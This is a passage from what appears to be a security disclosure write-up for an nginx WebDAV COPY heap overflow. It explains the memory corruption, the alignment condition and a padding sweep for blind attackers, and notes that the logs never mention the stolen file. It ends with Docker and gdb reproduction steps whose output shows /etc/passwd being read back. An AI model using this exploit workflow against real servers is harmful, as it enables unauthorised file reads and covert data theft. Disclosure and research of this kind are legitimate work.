dest_path = "/tmp/lab/www/leaked" + "\0" + "\nDestination\0 /da" + junk
└─── from Pad ───────┘ └─ Pad's CR (parser-zeroed)
The kernel resolves .. at the syscall layer. nginx's URI normalization runs before location matching and never sees the traversal because the traversal does not exist in any URI; it exists only in heap memory after the overflow.
6.4 Why the worker survives
Every byte the bug writes lands in either source_path[23..49] (the rewritten traversal), dest_path[0..36] (the rewritten target), or pool free space past dest_path that the next allocation will overwrite anyway. There is no malloc() metadata in the blast radius and no ngx_pool_large_t in the pool data area. The pool is freed cleanly and the worker re-enters keepalive.
The condition is the alignment fixup wrap: (duri.data + alias) & 0xf >= 2. The header buffer is ngx_memalign-allocated (16-byte aligned), so the residue depends only on the byte offset of Destination within the request, not on ASLR. In this PoC's request layout the residue is 12. On the two residues 0 and 1 the wrap fails, the main loop runs, and the worker SIGSEGVs reading off the end of the header buffer's page before any file is touched. An attacker with a lab copy of the target binary precomputes a working pad; a blind attacker has roughly a 12% chance per attempt of producing a noisy crash. The padding sweep in poc_src.py (front-padding the Src value to walk the residue through every value) handles the blind case.
6.5 Forensics
The nginx debug log records the source path at dav_module.c:697, before the destination-path mapping at L703 corrupts it. The log shows a copy from a file that does not exist; open() reads /etc/passwd; nothing in any nginx log mentions /etc/passwd.
This is a read primitive: the attacker chooses which file to read and where to put the copy, but the content is whatever is already on disk.
6.6 Reproducing it
$ docker build -t cve-2026-27654-poc2 poc-2/
$ docker run --rm cve-2026-27654-poc2
[*] root.len=39 alias=5 src_uri_len=15
[*] L = 50, path.len = 38, reach = 27, surviving = 23
[*] pivot dir = /tmp/lab/aaaaaaaaaaaaaa
[*] reading = /etc/passwd
[*] writing to = /tmp/lab/www/leaked
pad= 0 HTTP/1.1 204 No Content written=True
[*] GET /files/leaked
HTTP/1.1 200 OK
download_size: 878
matches /etc/passwd: True
--- downloaded body, first 3 lines ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
poc-2/ contains:
Dockerfile: builds nginx 1.29.5 with--with-http_dav_moduleon Debian 12 aarch64, creates the pivot directory, runspoc_src.pyas the container CMD.nginx.conf: the entire vulnerable surface for the read primitive (alias+dav_methods COPY, nothing else).poc_src.py: sends the COPY, downloads the result over HTTP, compares against/etc/passwd.trace1.gdb: breakpoint script that stops after source-map, after dest-map, and atngx_copy_fileentry, dumping the path buffers and theduri[-64..+3]window.gdb_trace.txt: annotated dump of one run, with the byte-mapping formulas connecting each header byte to its landing offset.
To step through the corruption manually:
$ docker run --rm -it --cap-add=SYS_PTRACE cve-2026-27654-poc2 bash
# gdb -x trace1.gdb --args /usr/local/nginx/sbin/nginx -p /tmp/lab/ -c /tmp/lab/nginx.conf
Then from a second shell inside the container:
# python3 /tmp/lab/poc_src.py --nginx-bin /bin/true --nginx-conf /dev/null
References
Related research


